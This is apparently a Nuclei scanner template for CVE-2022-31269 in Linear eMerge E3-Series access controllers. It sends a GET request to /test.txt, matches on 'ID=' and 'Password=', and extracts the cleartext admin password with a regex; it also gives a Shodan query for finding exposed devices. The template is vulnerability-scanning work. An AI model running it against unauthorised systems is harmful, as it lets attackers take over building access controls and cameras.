id: CVE-2022-31269

info:
  name: Linear eMerge E3-Series - Information Disclosure
  author: For3stCo1d
  severity: high
  description: |
    Linear eMerge E3-Series devices are susceptible to information disclosure. Admin credentials are stored in clear text at the endpoint /test.txt in situations where the default admin credentials have been changed. An attacker can obtain admin credentials, access the admin dashboard, control building access and cameras, and access employee information.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the vulnerability.
  reference:
    - https://packetstormsecurity.com/files/167990/Nortek-Linear-eMerge-E3-Series-Credential-Disclosure.html
    - https://www.nortekcontrol.com/access-control/
    - https://eg.linkedin.com/in/omar-1-hashem
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31269
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
    cvss-score: 8.2
    cve-id: CVE-2022-31269
    cwe-id: CWE-798
    epss-score: 0.00174
    epss-percentile: 0.54469
    cpe: cpe:2.3:o:nortekcontrol:emerge_e3_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nortekcontrol
    product: emerge_e3_firmware
    shodan-query: http.title:"Linear eMerge"
  tags: cve2022,emerge,exposure,packetstorm,cve

http:
  - method: GET
    path:
      - "{{BaseURL}}/test.txt"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ID="
          - "Password="
        condition: and

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - Password='(.+?)'

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